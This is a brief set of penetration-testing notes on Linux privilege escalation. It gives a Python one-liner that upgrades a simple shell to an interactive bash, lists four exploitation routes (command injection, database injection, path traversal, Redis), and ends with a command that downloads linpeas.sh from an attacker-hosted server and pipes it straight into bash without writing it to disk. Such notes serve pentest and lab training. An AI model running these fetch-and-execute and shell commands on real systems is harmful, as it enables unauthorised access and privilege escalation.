Linux Priv Escalate

python -c 'import pty; pty.spawn("/bin/bash")'
Upgrading simple shell to
NetSec's Linux Privilege Escalation Scripts: https://netsec.ws/?p=309
Four ways provided by Vickie Li:
  • Exploiting a classic command injection
  • Exploiting a database injection
  • Exploiting a path traversal vulnerability
  • Exploiting Redis
How to wget linpeas without storing on disk, but executing
#After python3 -m http.server
wget -O - your.ip:port/linpeas.sh | bash